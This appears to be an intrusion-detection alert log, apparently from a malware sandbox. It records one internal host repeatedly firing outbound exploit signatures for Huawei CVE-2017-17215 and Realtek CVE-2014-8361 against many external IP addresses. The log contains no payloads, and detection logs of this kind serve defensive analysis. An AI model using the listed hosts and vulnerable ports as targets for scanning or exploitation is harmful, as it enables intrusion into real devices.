192.168.2.23156.226.54.15733994372152835222 05/27/22-02:02:15.142084	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33994	37215	192.168.2.23	156.226.54.157
192.168.2.23156.254.82.22034904528692027339 05/27/22-02:02:21.966924	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34904	52869	192.168.2.23	156.254.82.220
192.168.2.23156.244.75.051058528692027339 05/27/22-01:59:20.270104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51058	52869	192.168.2.23	156.244.75.0
192.168.2.23156.244.112.5133208372152835222 05/27/22-02:00:07.655644	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33208	37215	192.168.2.23	156.244.112.51
192.168.2.23156.225.156.2947620372152835222 05/27/22-01:59:25.449564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47620	37215	192.168.2.23	156.225.156.29
192.168.2.23156.241.74.23242836528692027339 05/27/22-01:59:35.587913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42836	52869	192.168.2.23	156.241.74.232
192.168.2.23156.224.18.6349984528692027339 05/27/22-02:01:58.907491	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49984	52869	192.168.2.23	156.224.18.63
192.168.2.23156.241.120.11460550528692027339 05/27/22-01:59:30.128446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60550	52869	192.168.2.23	156.241.120.114
192.168.2.23156.238.61.25560542372152835222 05/27/22-02:00:06.879400	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60542	37215	192.168.2.23	156.238.61.255
192.168.2.23156.241.13.22357166372152835222 05/27/22-01:59:25.691089	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57166	37215	192.168.2.23	156.241.13.223
192.168.2.23156.224.31.13038708372152835222 05/27/22-02:01:40.026999	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38708	37215	192.168.2.23	156.224.31.130
192.168.2.23156.254.59.12240468372152835222 05/27/22-02:02:18.907439	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40468	37215	192.168.2.23	156.254.59.122
192.168.2.23156.240.105.7447002372152835222 05/27/22-01:59:55.467525	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47002	37215	192.168.2.23	156.240.105.74
192.168.2.23156.244.76.4854348372152835222 05/27/22-01:59:30.483658	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54348	37215	192.168.2.23	156.244.76.48
192.168.2.23156.227.243.25060450372152835222 05/27/22-01:59:52.671121	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60450	37215	192.168.2.23	156.227.243.250
192.168.2.23156.224.18.15858570528692027339 05/27/22-02:01:55.533063	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58570	52869	192.168.2.23	156.224.18.158
192.168.2.23156.93.225.7634494528692027339 05/27/22-02:01:24.598749	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34494	52869	192.168.2.23	156.93.225.76
192.168.2.23156.235.102.6758594372152835222 05/27/22-02:01:55.776959	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58594	37215	192.168.2.23	156.235.102.67
192.168.2.23156.250.118.19436896372152835222 05/27/22-02:01:32.653094	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36896	37215	192.168.2.23	156.250.118.194
192.168.2.23156.250.113.24148532528692027339 05/27/22-01:59:55.530262	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48532	52869	192.168.2.23	156.250.113.241
192.168.2.23156.225.141.24554112528692027339 05/27/22-02:02:13.388905	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54112	52869	192.168.2.23	156.225.141.245
192.168.2.23156.225.135.13156976372152835222 05/27/22-02:01:37.392743	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56976	37215	192.168.2.23	156.225.135.131
192.168.2.23156.241.82.4556192372152835222 05/27/22-02:00:24.990098	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56192	37215	192.168.2.23	156.241.82.45
192.168.2.23156.254.65.19744380528692027339 05/27/22-02:00:38.336694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44380	52869	192.168.2.23	156.254.65.197
192.168.2.23156.224.14.555720372152835222 05/27/22-02:00:57.236114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55720	37215	192.168.2.23	156.224.14.5
192.168.2.23156.224.19.20154792372152835222 05/27/22-02:01:37.559651	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54792	37215	192.168.2.23	156.224.19.201
192.168.2.23156.238.45.11849710528692027339 05/27/22-02:01:58.446963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49710	52869	192.168.2.23	156.238.45.118
192.168.2.23156.241.112.21255086528692027339 05/27/22-02:01:17.675300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55086	52869	192.168.2.23	156.241.112.212
192.168.2.23156.239.155.15860352528692027339 05/27/22-02:01:34.739338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60352	52869	192.168.2.23	156.239.155.158
192.168.2.23156.254.50.10858232372152835222 05/27/22-02:00:50.658684	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58232	37215	192.168.2.23	156.254.50.108
192.168.2.23156.241.127.6145686372152835222 05/27/22-02:02:36.362254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45686	37215	192.168.2.23	156.241.127.61
192.168.2.23197.234.54.23435620372152835222 05/27/22-02:01:53.756151	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35620	37215	192.168.2.23	197.234.54.234
192.168.2.23156.254.35.8937514528692027339 05/27/22-01:59:46.669934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37514	52869	192.168.2.23	156.254.35.89
192.168.2.23156.226.96.5847142528692027339 05/27/22-02:00:12.323098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47142	52869	192.168.2.23	156.226.96.58
192.168.2.23156.254.69.8942062528692027339 05/27/22-02:00:12.629599	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42062	52869	192.168.2.23	156.254.69.89
192.168.2.23156.244.125.3553562528692027339 05/27/22-02:02:12.185554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53562	52869	192.168.2.23	156.244.125.35
192.168.2.23197.45.57.19353650528692027339 05/27/22-01:59:34.187417	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53650	52869	192.168.2.23	197.45.57.193
192.168.2.23156.226.31.736814528692027339 05/27/22-02:00:04.625128	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36814	52869	192.168.2.23	156.226.31.7
192.168.2.2341.0.91.7233832372152835222 05/27/22-02:01:14.089925	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33832	37215	192.168.2.23	41.0.91.72
192.168.2.23156.224.25.21249680372152835222 05/27/22-01:59:45.946971	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49680	37215	192.168.2.23	156.224.25.212
192.168.2.23156.241.116.4058558528692027339 05/27/22-01:59:29.034503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58558	52869	192.168.2.23	156.241.116.40
192.168.2.23156.254.81.8133946528692027339 05/27/22-02:01:52.714927	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33946	52869	192.168.2.23	156.254.81.81
192.168.2.23156.244.107.13236760528692027339 05/27/22-02:02:28.465171	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36760	52869	192.168.2.23	156.244.107.132
192.168.2.23156.225.153.8832964372152835222 05/27/22-02:00:48.183583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32964	37215	192.168.2.23	156.225.153.88
192.168.2.23156.250.87.16260742372152835222 05/27/22-02:01:29.143117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60742	37215	192.168.2.23	156.250.87.162
192.168.2.23156.254.67.4747722528692027339 05/27/22-02:01:48.702980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47722	52869	192.168.2.23	156.254.67.47
192.168.2.23156.226.52.14156302372152835222 05/27/22-02:02:25.458957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56302	37215	192.168.2.23	156.226.52.141
192.168.2.23156.238.14.18136824372152835222 05/27/22-01:59:48.422922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36824	37215	192.168.2.23	156.238.14.181
192.168.2.23156.241.81.13142528528692027339 05/27/22-02:00:19.903787	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42528	52869	192.168.2.23	156.241.81.131
192.168.2.23156.241.105.22144514528692027339 05/27/22-02:02:03.194952	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44514	52869	192.168.2.23	156.241.105.221
192.168.2.23156.226.29.20157660528692027339 05/27/22-01:59:44.580181	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57660	52869	192.168.2.23	156.226.29.201
192.168.2.23156.227.244.17551628528692027339 05/27/22-02:01:42.583313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51628	52869	192.168.2.23	156.227.244.175
192.168.2.23156.226.88.3459440372152835222 05/27/22-02:02:09.686196	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59440	37215	192.168.2.23	156.226.88.34
192.168.2.23156.241.190.3750172528692027339 05/27/22-02:02:36.574901	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50172	52869	192.168.2.23	156.241.190.37
192.168.2.23156.239.153.19934744372152835222 05/27/22-02:01:40.317063	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34744	37215	192.168.2.23	156.239.153.199
192.168.2.23156.241.127.9140630528692027339 05/27/22-01:59:54.035261	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40630	52869	192.168.2.23	156.241.127.91
192.168.2.23156.241.98.7251462528692027339 05/27/22-01:59:21.813745	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51462	52869	192.168.2.23	156.241.98.72
192.168.2.23156.225.153.18633936528692027339 05/27/22-01:59:48.908628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33936	52869	192.168.2.23	156.225.153.186
192.168.2.23156.250.116.23135246528692027339 05/27/22-01:59:34.093499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35246	52869	192.168.2.23	156.250.116.231
192.168.2.23156.241.80.7957884528692027339 05/27/22-01:59:26.783831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57884	52869	192.168.2.23	156.241.80.79
192.168.2.23156.244.112.6551620528692027339 05/27/22-02:01:25.710157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51620	52869	192.168.2.23	156.244.112.65
192.168.2.23156.241.89.9343706372152835222 05/27/22-02:00:47.111497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43706	37215	192.168.2.23	156.241.89.93
192.168.2.23156.224.31.547442528692027339 05/27/22-02:00:35.242625	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47442	52869	192.168.2.23	156.224.31.5
192.168.2.23156.226.70.24942716528692027339 05/27/22-01:59:53.856884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42716	52869	192.168.2.23	156.226.70.249
192.168.2.23156.247.17.1352278528692027339 05/27/22-02:01:48.302868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52278	52869	192.168.2.23	156.247.17.13
192.168.2.23156.232.93.17745374372152835222 05/27/22-02:02:07.293983	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45374	37215	192.168.2.23	156.232.93.177
192.168.2.23156.247.29.18736600528692027339 05/27/22-01:59:53.822230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36600	52869	192.168.2.23	156.247.29.187
192.168.2.23156.224.24.14835890528692027339 05/27/22-01:59:50.382347	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35890	52869	192.168.2.23	156.224.24.148
192.168.2.23156.254.35.23056742528692027339 05/27/22-02:01:03.600419	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56742	52869	192.168.2.23	156.254.35.230
192.168.2.23156.254.37.14247344528692027339 05/27/22-02:02:13.439677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47344	52869	192.168.2.23	156.254.37.142
192.168.2.23156.250.121.22539366372152835222 05/27/22-02:00:17.040887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39366	37215	192.168.2.23	156.250.121.225
192.168.2.23156.254.50.15249426528692027339 05/27/22-02:01:48.450738	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49426	52869	192.168.2.23	156.254.50.152
192.168.2.23156.241.100.5639466372152835222 05/27/22-02:02:34.118222	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39466	37215	192.168.2.23	156.241.100.56
192.168.2.23156.241.99.3154700528692027339 05/27/22-02:00:45.888306	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54700	52869	192.168.2.23	156.241.99.31
192.168.2.23156.227.241.14443790372152835222 05/27/22-02:01:20.597061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43790	37215	192.168.2.23	156.227.241.144
192.168.2.23156.245.60.19449230528692027339 05/27/22-01:59:53.879961	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49230	52869	192.168.2.23	156.245.60.194
192.168.2.23156.226.52.2940170372152835222 05/27/22-02:00:30.224310	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40170	37215	192.168.2.23	156.226.52.29
192.168.2.23156.254.84.14548152528692027339 05/27/22-01:59:46.435882	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48152	52869	192.168.2.23	156.254.84.145
192.168.2.23156.241.13.12854338372152835222 05/27/22-02:01:02.755463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54338	37215	192.168.2.23	156.241.13.128
192.168.2.23156.244.127.18958688528692027339 05/27/22-01:59:39.168212	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58688	52869	192.168.2.23	156.244.127.189
192.168.2.23156.250.112.5755344528692027339 05/27/22-02:01:52.185529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55344	52869	192.168.2.23	156.250.112.57
192.168.2.23156.226.97.10336198372152835222 05/27/22-02:00:26.622734	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36198	37215	192.168.2.23	156.226.97.103
192.168.2.23156.241.15.16544112528692027339 05/27/22-02:00:54.893214	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44112	52869	192.168.2.23	156.241.15.165
192.168.2.23156.245.61.8748018372152835222 05/27/22-02:01:23.388746	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48018	37215	192.168.2.23	156.245.61.87
192.168.2.23156.241.93.21360054372152835222 05/27/22-02:00:14.826926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60054	37215	192.168.2.23	156.241.93.213
192.168.2.23156.247.26.11238614372152835222 05/27/22-02:02:13.200849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38614	37215	192.168.2.23	156.247.26.112
192.168.2.23156.254.33.641740372152835222 05/27/22-02:01:10.846359	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41740	37215	192.168.2.23	156.254.33.6
192.168.2.23156.225.141.15953462528692027339 05/27/22-01:59:53.961489	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53462	52869	192.168.2.23	156.225.141.159
192.168.2.23156.244.68.1356646372152835222 05/27/22-02:00:42.916761	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56646	37215	192.168.2.23	156.244.68.13
192.168.2.23156.247.20.24558908528692027339 05/27/22-02:00:15.447822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58908	52869	192.168.2.23	156.247.20.245
192.168.2.23156.230.20.6233088372152835222 05/27/22-02:01:26.851094	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33088	37215	192.168.2.23	156.230.20.62
192.168.2.23156.250.12.4843928372152835222 05/27/22-01:59:19.900398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43928	37215	192.168.2.23	156.250.12.48
192.168.2.23156.250.115.19934588528692027339 05/27/22-02:00:40.094695	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34588	52869	192.168.2.23	156.250.115.199
192.168.2.23156.250.119.23457452372152835222 05/27/22-01:59:20.396948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57452	37215	192.168.2.23	156.250.119.234
192.168.2.23156.244.65.8241530528692027339 05/27/22-02:00:46.172402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41530	52869	192.168.2.23	156.244.65.82
192.168.2.23156.238.55.6359248528692027339 05/27/22-02:00:57.205791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59248	52869	192.168.2.23	156.238.55.63
192.168.2.23156.244.114.16945150528692027339 05/27/22-02:01:03.633425	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45150	52869	192.168.2.23	156.244.114.169
192.168.2.23156.247.26.8551100528692027339 05/27/22-02:01:25.188204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51100	52869	192.168.2.23	156.247.26.85
192.168.2.23156.250.95.750394528692027339 05/27/22-02:02:02.390092	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50394	52869	192.168.2.23	156.250.95.7
192.168.2.23156.254.71.17056620372152835222 05/27/22-02:01:58.763001	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56620	37215	192.168.2.23	156.254.71.170
192.168.2.23156.238.52.17751982372152835222 05/27/22-02:02:07.265845	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51982	37215	192.168.2.23	156.238.52.177
192.168.2.23156.235.106.23739702528692027339 05/27/22-02:00:35.250846	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39702	52869	192.168.2.23	156.235.106.237
192.168.2.23156.226.51.20745580528692027339 05/27/22-02:02:23.507946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45580	52869	192.168.2.23	156.226.51.207
192.168.2.23156.250.83.12239366528692027339 05/27/22-01:59:50.214544	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39366	52869	192.168.2.23	156.250.83.122
192.168.2.23156.250.92.9347058528692027339 05/27/22-02:00:06.575375	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47058	52869	192.168.2.23	156.250.92.93
192.168.2.23156.226.92.13748128372152835222 05/27/22-02:01:30.447072	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48128	37215	192.168.2.23	156.226.92.137
192.168.2.23156.241.69.24259670372152835222 05/27/22-02:02:29.380693	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59670	37215	192.168.2.23	156.241.69.242
192.168.2.23156.224.12.4251946372152835222 05/27/22-02:02:26.317574	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51946	37215	192.168.2.23	156.224.12.42
192.168.2.23156.225.140.17737020528692027339 05/27/22-02:00:12.104490	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37020	52869	192.168.2.23	156.225.140.177
192.168.2.23156.226.104.3955384528692027339 05/27/22-02:00:21.412620	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55384	52869	192.168.2.23	156.226.104.39
192.168.2.23156.241.90.11742234372152835222 05/27/22-02:01:23.148906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42234	37215	192.168.2.23	156.241.90.117
192.168.2.23156.244.79.10053690372152835222 05/27/22-02:00:03.345824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53690	37215	192.168.2.23	156.244.79.100
192.168.2.23156.238.19.12242912528692027339 05/27/22-01:59:21.574194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42912	52869	192.168.2.23	156.238.19.122
192.168.2.23156.226.69.7644358372152835222 05/27/22-02:01:23.148832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44358	37215	192.168.2.23	156.226.69.76
192.168.2.23156.241.103.5451374528692027339 05/27/22-02:01:31.552862	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51374	52869	192.168.2.23	156.241.103.54
192.168.2.23156.250.113.5152880528692027339 05/27/22-02:01:05.900159	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52880	52869	192.168.2.23	156.250.113.51
192.168.2.23156.250.89.13550370372152835222 05/27/22-02:00:40.206239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50370	37215	192.168.2.23	156.250.89.135
192.168.2.23156.224.14.9146290372152835222 05/27/22-01:59:55.272301	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46290	37215	192.168.2.23	156.224.14.91
192.168.2.23156.226.106.2041928528692027339 05/27/22-02:00:58.415595	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41928	52869	192.168.2.23	156.226.106.20
192.168.2.23156.241.67.7248376528692027339 05/27/22-02:00:30.836402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48376	52869	192.168.2.23	156.241.67.72
192.168.2.23156.234.225.9634858528692027339 05/27/22-02:01:48.197372	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34858	52869	192.168.2.23	156.234.225.96
192.168.2.23156.254.41.7952672528692027339 05/27/22-02:01:25.202723	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52672	52869	192.168.2.23	156.254.41.79
192.168.2.23156.227.241.2554260372152835222 05/27/22-01:59:37.741824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54260	37215	192.168.2.23	156.227.241.25
192.168.2.23156.230.23.20559464528692027339 05/27/22-02:00:00.095656	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59464	52869	192.168.2.23	156.230.23.205
192.168.2.23156.247.16.9546218372152835222 05/27/22-02:02:06.356719	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46218	37215	192.168.2.23	156.247.16.95
192.168.2.23156.241.68.10644126528692027339 05/27/22-02:02:18.969246	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44126	52869	192.168.2.23	156.241.68.106
192.168.2.23156.238.61.5032810372152835222 05/27/22-02:00:19.919063	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32810	37215	192.168.2.23	156.238.61.50
192.168.2.23156.226.53.950078528692027339 05/27/22-02:00:26.443237	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50078	52869	192.168.2.23	156.226.53.9
192.168.2.23156.235.103.20737772528692027339 05/27/22-02:00:15.055305	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37772	52869	192.168.2.23	156.235.103.207
192.168.2.23156.235.109.6556538528692027339 05/27/22-02:01:51.729952	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56538	52869	192.168.2.23	156.235.109.65
192.168.2.23156.241.90.7555358528692027339 05/27/22-02:00:56.688578	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55358	52869	192.168.2.23	156.241.90.75
192.168.2.23156.235.96.16534796372152835222 05/27/22-02:00:40.158975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34796	37215	192.168.2.23	156.235.96.165
192.168.2.23156.235.101.11947240372152835222 05/27/22-02:00:44.623311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47240	37215	192.168.2.23	156.235.101.119
